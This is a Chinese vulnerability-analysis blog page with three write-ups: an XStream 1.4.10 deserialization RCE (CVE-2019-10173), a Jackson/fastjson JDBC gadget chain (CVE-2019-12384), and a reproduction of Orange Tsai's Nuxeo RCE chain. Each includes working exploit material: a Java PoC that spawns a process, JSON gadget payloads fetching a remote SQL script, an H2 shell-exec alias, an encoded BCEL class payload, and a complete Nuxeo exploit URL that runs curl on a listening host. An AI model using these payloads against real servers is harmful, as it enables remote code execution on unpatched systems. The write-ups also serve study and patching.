分类 漏洞分析 下的文章

CVE-2019-10173 Xstream 1.4.10版本远程代码执行漏洞

前言

XStream是常用的Java类库,用来将对象序列化成XML (JSON)或反序列化为对象。

漏洞简介

Xstream 1.4.10版本存在反序列化漏洞CVE-2013-7285补丁绕过。

漏洞危害

当使用Xstream 1.4.10版本且未对安全框架进行初始化时,攻击者即可通过精心构造的请求包在使用Xstream的服务器上进行远程代码执行。

影响范围

产品

Xstream

版本

Xstream1.4.10版本

组件

Xstream

漏洞复现

PoC

package com.bigo;

import com.thoughtworks.xstream.XStream;

import java.beans.EventHandler;
import java.io.IOException;
import java.util.Set;
import java.util.TreeSet;

/**
 * Created by cfchi on 2019/7/26.
 */
public class Main {
    public static String expGen(){
        XStream xstream = new XStream();
        Set<Comparable> set = new TreeSet<Comparable>();
        set.add("foo");
        set.add(EventHandler.create(Comparable.class, new ProcessBuilder("calc"), "start"));
        String payload = xstream.toXML(set);
        System.out.println(payload);
        return payload;
    }
    public static void main(String[] args) throws IOException {
        expGen();
        XStream xStream = new XStream();
        String payload = "<sorted-set>\n" +
                "    <string>foo</string>\n" +
                "    <dynamic-proxy>\n" +
                "    <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>cmd.exe</string>\n" +
                "                    <string>/c</string>\n" +
                "                    <string>calc</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "     <action>start</action>"+
                "        </handler>\n" +
                "    </dynamic-proxy>\n" +
                "</sorted-set>\n";
       xStream.fromXML(payload);
    }
}

1.4.7版本白名单

111.png

1.4.10版本,黑名单未开启

222.png

1.4.11版本,黑名单开启

blacklist

private class InternalBlackList implements Converter {
    private InternalBlackList() {
    }

    public boolean canConvert(Class type) {
        return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
    }

    public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
        throw new ConversionException("Security alert. Marshalling rejected.");
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        throw new ConversionException("Security alert. Unmarshalling rejected.");
    }
}

333.png

修复方案

升级Xstream到1.4.11版本

参考

公众号

wx

Jackson CVE-2019-12384 Anatomy Of a Vulnerability Class

简介

FasterXML Jackson是一个用来序列化和反序列化JSON的Java开源框架。

漏洞影响

此利用链适用于fastjson最新版本1.2.58,利用条件lang=EN-US> (1)打开fastjson autotype开关lang=EN-US> ( 2)classpath存在h2lang=EN-US>lockback-core jar包。

Jackson PoC

PoC1

[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]

PoC2

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
 String[] command = {"bash", "-c", cmd};
 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
 return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')

PoC3

{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\": \"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}

测试代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.utils.FeatureManager;

public class FastjsonPoc {
    public static void main(String[] args) {
//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//        System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "true");
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String poc="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Object\",\"autoCommit\":true}";

        String poc1 = "{\n" +
                "\t{\n" +
                "\t\t\"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
                "\t\t\"c\": {\n" +
                "\t\t\t\"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "\t\t\t\"driverClassLoader\": {\n" +
                "\t\t\t\t\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "\t\t\t},\n" +
                "\t\t\t\"driverClassName\": \"org.apache.log4j.spi$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dT$5bW$TI$Q$fe$daL$d2$c30$m$86$8b$m$5ep$d7K$A$c3$a8$eb$a2$C$eb$ae$m$m$9a$40$q$8a$c6$5d$l$9aI$83$83$c9L$ce$d0$a3$f9G$be$eaK$f0$y$e7$ec$e3$3e$f8$l$f6$8f$f8$m$5b$3d$J$Ck$f6h$ceIu$d7W$ddu$f9$aaz$3e$7e$fe$f3$_$A$d7$f1$c2$c2$AnX$f8$Z$93Z$dc$e4$b8$c5q$db$c2$U$a6$z$q1c$c1$c0$_$s$ee$e8$f5W$8e$df$yt$ea$e3$9d$b8kbV$afs$fa$ec$3d$8ey$T$L$s$W$z$f4$e3$3e$c7$S$c7$D$86$d4$8c$e7$7b$ea$OC$o3$ba$c6$60$cc$Fe$c9p$3c$e7$f9r9$aa$ae$cb$f0$b1X$af$Q$92$ce$F$ae$a8$ac$89$d0$d3z$L4$d4Ko$9b$e1t$ce$N$aa$cef$bd$o$d6$9d$z$e1$be$da$O$7c$87$iD$f5B$e0N3X$b2$$$ddH$c9$b9j$99$e1R$s$b7$r$5e$L$a7$o$fcM$a7$a8B$cf$df$9c$k$fd$g$o$df$VJA$c7mc$e3$b50p$e56$85$ee$3dd$$4A$b2$a7B$v$ca2d$Yl$9a$bd$c0$99$8d66d$u$cb$ab$b1E$fbW$b2$ae$Y$3ad$ddSk$a2$SQ$y$b6D$f0k$RN2$f4$l$f2$3b_weMy$81O$b7$S$ae$$$a2$ab$a8$a8$cc$bc$a8$c5$3cp$3c$e4$c8$c5$5d$99g0g$dcJ$8bR$ab$YD$a1$x$X$3c$cdU$d7$3e$p$T$da$b3$8d$93$Y$e4$c8$dbX$c6$8a$8d$C$k1$M$b4$cf$95ah$df$b0$e4$d7$oE$yHQm$da$u$ae$8dU$U$b5$bb$c7Z$3ca$80$8d5$3ce8$f9_$e2f$p$afBwl$3cC$89$8a$b5l$3c$c7S$h$bf$e3$P$e2$b1M$b9$94$R$f5$b5$w$fc$f2H$ab$83$p$h$82j$n$C$d2$w$88$dc$97$p$8e$aa$d6$9c$da$h$7fB$d5$95$8d$b38$c7p$ea$ffG$81$a1$e7$m$ca$ca$fa$96t$d5$R$a8$99$r$c3$89$afZz$E$5b$8d$7c$e5U$89QkS$aa$_J$7f$e6$f0$U$b5$60$ddf$9d$3a$c3$e5o$8c$dd$c1$ect$93$d7C$3c$T$8f$fb$9e$8f6$80$8e$Of$da$g$f4$3b$ea$3d0$b5$sN$a3$a6$9e$cb$5c$3c$d7$7d$99$b6S$9f$S$b5$9a$f4$89$e1$ecw$bd$93VK$e9$a2$a9$82$7d$fe$f8$h$e1$a9$85$m$8c$df$f4$S$ce$d3s$l$80$fe$r$c0$f4$d8$91$i$o$cd$a1$95$a6$F$c9$b1$j$b0$f7$b49$86S$qS1$d8$81a$e8I$8a$P$e04$ce$c4$Yu$b8y$99u$S$9a$q$ac$f8$B$c7$c6$gH$e4va$94v$91$y$8d7$90$da$B$df$81$99Ow$y$b3$v$e3J$DVi$ca$f8$h$e7v$d1Y$da$81$9dm$a0k$c8$m$91$ee$s$d1$c0$f1$e5$b7$7b$ff$d0$b5$9eI$p$fb$$$97N$bf$8b$83$d2$b3$c0$J$caX$a7$f4$D$cc8$Z$T$5d$94V7$a5$d1$83E$f4$nO$95$adPm$F$aaJ$a7$7b$l$9c$aa$bd$84$R$92$G$9d$5e$a4$9b$3f$92$b7a$dc$c0$F$5c$a4$C$cf$e2$g$d9$cf$93$df$3ci$97$91$a1s$F$d2F1$WG$zb$9c$ac$c0$V$fag$90$d8$p$r$c9$91$e5$98$e0p$e2M$W$f8$84$8b$7b$U$89i$85$c4U$8at$ed$L$ab$e3$zVy$ba$f7$D$fa$k$k$f0j$d1$K$e21E$i$O$c7$u$d1H_w$bd$fb$e9_$5e$b6$b6$k$ec$F$A$A\"\n" +
                "\t\t}\n" +
                "\t}\n" +
                "  \t:\"ddd\"\n" +
                "}";

        String poc2 = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}\n";

        String poc3 = "{\"@type\":\"java.net.InetAddress\",\"val\":\"bigo.sg\"}";

        String poc4 = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\": \"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}";
        Object obj= JSON.parseObject(poc4,Object.class);
    }
}

服务端监听等待连接:

nc.png

利用成功:

exp.png

漏洞原理

反序列化时会调用DriverManagerConnectionSource类的getConnection方法,getConnection方法中url参数客户端可控。

code.png

H2是内存数据库通过sql可以直接调用java代码,最终在DriverManager类的getConnection函数中触发执行,调用链如下:

code1.png

参考

Nuxeo RCE漏洞分析

说明

Nuxeo RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System,中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明,但是如果没有实际调试过整个漏洞,看了文章之后始终还是难以理解,体会不深。由于Nuxeo已经将源码托管在Github上面,就决定自行搭建一个Nuxeo系统复现整个漏洞。

环境搭建

整个环节最麻烦就是环境搭建部分。由于对整个系统不熟,踩了很多的坑。

源码搭建

由于Github上面有系统的源码,考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中,发现有10多个模块,导入完毕之后也没有找到程序的入口点。折腾了半天,也没有运行起来。

考虑到之后整个系统中还涉及到了NuxeoJBoss-SeamTomcat,那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟,搭建源码的方式也只能夭折了。

Docker远程调试

之后同学私信了orange调试方法之后,得知是直接使用的docker+Eclipse Remote Debug远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的,所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下:

  1. 拉取分支。从Docker上面拉取8的分支版本,docker pull nuxeo:8
  2. 开启调试。修改/opt/nuxeo/server/bin/nuxeo.conf文件,关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n这行注释,开始远程调试。
  3. 安装模块。进入到/opt/nuxeo/server目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui(这个组件和我们之后的漏洞利用有关)
  4. 导出源代码。由于需要远程调试,所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。

    1. 进入到Docker容器中,将/opt/nuxeo/server下的文件全部打包
    2. 从Docker中导出上一步打包的文件到宿主机中。
  5. Daemon的方式运行Docker环境。
  6. 用IDEA直接导入server/nxserver/nuxeo.war程序,这个war包程序就是一个完整的系统了,之后导入系统需要的jar包。jar来源包括server/binserver/libserver/nxserver/bundlesserver/nxserver/lib。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。
  7. 开启IDEA对Docker的远程调试。进入到Run/Edit Configurations/配置如下:

2018-08-20-1.jpg

8.导入程序源码。由于我们需要对nuxeojboss-seam相关的包进行调试,就需要导入jar包的源代码。相对应的我们需要导入的jar包包括:apache-tomcat-7.0.69-srcnuxeo-8.10-SNAPSHOTjboss-seam-2-3-1的源代码。

至此,我们的整个漏洞环境搭建完毕。

漏洞调试

路径规范化错误导致ACL绕过

ACL是Access Control List的缩写,中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter对访问的页面进行权限校验,这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化,这样会导致绕过nuxeo的权限校验。

正如orange所说,Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*。在WEB-INF/web.xml中存在对NuxeoAuthenticationFilter的配置。部分如下:

...
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauthGrant.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauth/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
...

但是我们发现login.jsp并没有使用NuxeoAuthenticationFilter过滤器(想想这也是情理之中,登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。

分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()中的对权限的校验。

protected boolean bypassAuth(HttpServletRequest httpRequest) {
...
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    }
....

解读如orange所说:

从上面可以看出来,bypassAuth检索当前请求的页面,与unAuthenticatedURLPrefix进行比较。 但bypassAuth如何检索当前请求的页面? Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法,第一个问题出现在这里!

追踪进入到

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

getRequestedPage()对路径的处理很简单。如果路径中含有;,会去掉;后面所有的字符。以上都直指Nuxeo对于路径的处理,但是Nuxeo后面还有Web服务器,而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说

每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly,JBoss和WebLogic等容器中可能是安全的。 但它在Tomcat下就不行了! 因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题!

根据截断方式,我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求!

借用Orange的PPT中的一张图来进行说明:

2018-08-20-2.jpg

我们进行如下的测试:

  1. 访问一个需要进行权限认证的URL,oauth2Grant.jsp最终的结果是出现了302

2018-08-20-3.jpg

  1. 我们访问需要畸形URL,http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp,结果出现了500

2018-08-20-4.jpg

出现了500的原因是在于进入到tomcat之后,因为servlet逻辑无法获得有效的用户信息,因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp已经绕过ACL了。

Tomcat的路径的规范化的处理

这一步其实如果我们知道了tomcat对于路径的处理就可以了,这一步不必分析。但是既然出现了这个漏洞,就顺势分析一波tomcat的源码。

根据网络上的对于tomcat的解析URL的源码分析,解析Tomcat内部结构和请求过程和[Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]](https://www.cnblogs.com/fangjian0423/p/servletContainer-tomcat-urlPattern.html)。tomcat对路径的URL的处理的过程是:

2018-08-20-5.png

tomcat中存在Connecter和Container,Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。会以此向下解析,也就是说。如果tomcat收到一个请求,交由Container去设置HostContext以及wrapper。这几个组件的作用如下:

2018-08-20-6.jpg

我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()中对URL的处理,

  1. 经过了postParseRequest()中的convertURI(decodedURI, request);之后,会在req对象中增加decodedUriMB字段,值为/nuxeo/oauth2Grant.jsp

2018-08-20-7.jpg

  1. 解析完decodedUriMB之后,connector对相关的属性进行设置:

    connector.getMapper().map(serverName, decodedURI, version,request.getMappingData());
    request.setContext((Context) request.getMappingData().context);
    request.setWrapper((Wrapper) request.getMappingData().wrapper);
  2. 之后进入到org.apache.tomcat.util.http.mapper.Mapper中的internalMapWrapper()函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()中会对mappingData中所有的属性进行设置,其中也包括wrapperPath。而wrapperPath就是用于之后获得getServletPath()的地址。

2018-08-20-9.jpg

  1. 最后进入到org.apache.jasper.servlet.JspServlet::service()处理URL。整个函数的代码如下:

    public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ...
        jspUri = request.getServletPath();
        String pathInfo = request.getPathInfo();
        if (pathInfo != null) {
            jspUri += pathInfo;
        }
    
        try {
            boolean precompile = preCompile(request);
            serviceJspFile(request, response, jspUri, precompile);
        } catch (RuntimeException e) {
            throw e;
        } catch (ServletException e) {
            throw e;
        }
        ...
    }

在函数内部通过jspUri = request.getServletPath();来获得URL。最终通过层层调用的分析,是在org.apache.catalina.connector.Request::getServletPath()中的获得的。

public String getServletPath() {
    return (mappingData.wrapperPath.toString());
}

得到的结果就是/oauth2Grant.jsp.

最后程序运行serviceJspFile(request, response, jspUri, precompile);,运行oauth2Grant.jsp对应的servlet。由于没有进过权限认证,直接访问了oauth2Grant.jsp,导致servlet无法获取用户的认证信息,结果报错了。

2018-08-20-10.jpg

这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp出现了500 java.lang.NullPointerException的原因。

代码重用功能导致部分EL调用

由于NuxeoTomcat对于路径解析不一致的问题,目前我就可以访问任意的servlet。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:

actionMethod是一个特殊的参数,可以从查询字符串中调用特定的JBoss EL(Expression Language)

actionMethod的触发是由org.jboss.seam.navigation.Pages::callAction处理。如下:

private static boolean callAction(FacesContext facesContext) {
    //TODO: refactor with Pages.instance().callAction()!!
    boolean result = false;
    String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
    if (actionId!=null)
    {
    String decodedActionId = URLDecoder.decode(actionId);
    if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){
        throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter");
    }
    if ( !SafeActions.instance().isActionSafe(actionId) ) return result;
    String expression = SafeActions.toAction(actionId);
    result = true;
    MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
    outcome = toString( actionExpression.invoke() );
    fromAction = expression;
    handleOutcome(facesContext, outcome, fromAction);
    }    
    return result;
}

其中actionId就是actionMethod参数的内容。callAction整体功能很简单,从actionId中检测出来expression(即EL表达式),之后利用actionExpression.invoke()执行表达式,最终通过handleOutcome()输出表达式的结果,问题是在于handleOutcome()也能够执行EL表达式。但是actionMethod也不可能让你随意地执行EL表达式,在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe():

public boolean isActionSafe(String id){
    if ( safeActions.contains(id) ) return true;
    int loc = id.indexOf(':');
    if (loc<0) throw new IllegalArgumentException("Invalid action method " + id);
    String viewId = id.substring(0, loc);
    String action = "\"#{" + id.substring(loc+1) + "}\"";
    // adding slash as it otherwise won't find a page viewId by getResource*
    InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId);
    if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action);
    BufferedReader reader = new BufferedReader( new InputStreamReader(is) );
    try {
        while ( reader.ready() ) {
            if ( reader.readLine().contains(action) ) {
                addSafeAction(id);
                return true;
            }
        }
        return false;
    }
// catch exception
}

:作为分隔符对id进行分割得到viewIdaction,其中viewId就是一个存在的页面,而action就是EL表达式。reader.readLine().contains(action)这行代码的含义就是在viewId页面中必须存在action表达式。我们以一个具体的例子来进行说明。login.xhtml为例进行说明,这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>表达式。以上的分析就说明了为什么需要满足orange的三个条件了。

  1. actionMethod的值必须是一对,例如:FILENAME:EL_CODE
  2. FILENAME部分必须是context-root下的真实文件
  3. 文件FILENAME必须包含内容“#{EL_CODE}”(双引号是必需的)

例如这样的URL:http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username。其中login.xhtml:userDTO.username满足了第一个要求;login.xhtml是真实存在的,满足了第二个要求;"#{userDTO.username}"满足了第三个要求。

双重评估导致EL注入

看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式,无法执行攻击者自定义的表达式,而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()中最终还会调用handleOutcome(facesContext, outcome, fromAction)对EL执行的结果进行应一步地处理,如果EL的执行结果是一个表达式则handleOutcome()会继续执行这个表达式,即双重的EL表达式会导致EL注入。

我们对handleOutcome()的函数执行流程进行分析:

  1. org.jboss.seam.navigation.Pages::callAction()中执行handleOutcome():
  2. org.jboss.seam.navigation.Pages:handleOutcome()中。
  3. org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
  4. org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
  5. org.jboss.seam.core.Interpolator::interpolate()
  6. org.jboss.seam.core.Interpolator::interpolateExpressions()中,以Object value = Expressions.instance().createValueExpression(expression).getValue();的方式执行了EL表达式。

问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章,找到widgets/suggest_add_new_directory_entry_iframe.xhtml。如下:

  <nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
....

其中存在#{request.getParameter('directoryNameForPopup')}一个EL表达式,用于获取到directoryNameForPopup参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup的参数也是EL表达式,这样就会达到双重EL表达式的注入效果了。

至此整个漏洞的攻击链已经完成了。

双重EL评估导致RCE

需要注意的是在Seam2.3.1中存在一个反序列化的黑名单,具体位于org/jboss/seam/blacklist.properties中,内容如下:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

黑名单导致无法通过"".getClass().forName("java.lang.Runtime")的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测,""["class"].forName("java.lang.Runtime")。绕过了这个黑名单检测之后,那么我们就可以利用""["class"].forName("java.lang.Runtime")这种方式范反序列化得到java.lang.Runtime类进而执行RCE了。我们重新梳理一下整个漏洞的攻击链:

  1. 利用nuxeo中的bypassAuth的路径规范化绕过NuxeoAuthenticationFilter的权限校验;
  2. 利用Tomcat对路径的处理,访问任意的servlet;
  3. 利用jboss-seam中的callAction使我们可以调用actionMethod。利用actionMethod利用调用任意xhtml文件中的EL表达式;
  4. 利用actionMethod我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml,并且可以控制其中的参数;
  5. 控制suggest_add_new_directory_entry_iframe中的request.getParameter('directoryNameForPopup')中的directoryNameForPopup参数,为RCE的EL表达式的payload;
  6. org.jboss.seam.navigation.Pages::callAction执行双重EL,最终造成RCE;

我们最终的Payload是:

http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')}

其中172.17.0.1是我宿主机的IP地址,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]得到的就是exec(java.lang.String)''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是getRuntime(),最终成功地RCE了。

2018-08-20-11.jpg

修复

Nxueo的修复

Nuxeo出现的漏洞的原因是在于ACL的绕过以及与tomcat的路径规范化的操作不一致的问题。这个问题已经在NXP-24645: fix detection of request page for login中修复了。修复方式是:

2018-08-20-12.jpg

现在通过httpRequest.getServletPath();获取的路径和tomcat保持一致,这样ACL就无法被绕过同时有也不会出现于tomcat路径规范化不一致的问题;

seam的修复

Seam的修复有两处,NXP-24606: improve Seam EL blacklistNXP-24604: don't evalue EL from user input
blacklist中增加了黑名单:

2018-08-20-13.jpg

包括.forName(,这样无法通过.forName(进行反序列化了。

修改了callAction()中的方法处理,如下:

2018-08-20-14.jpg

修改之后的callAction()没有进行任何的处理直接返回false不执行任何的EL表达式。

总结

通篇写下来发现自己写和Orange的那篇文章并没有很大的差别,但是通过自己手动地调试一番还是有非常大的收获的。这个漏洞的供给链的构造确实非常的精巧。

  1. 充分利用了Nuxeo的ACL的绕过,与Tomcat对URL规范化的差异性导致了我们的任意的servlet的访问。
  2. 利用了seam中的actionMethod使得我们可以指向任意xhtml中的任意EL表达式。
  3. 利用了callAction()中对于EL表达式的处理执行了双重EL表达式。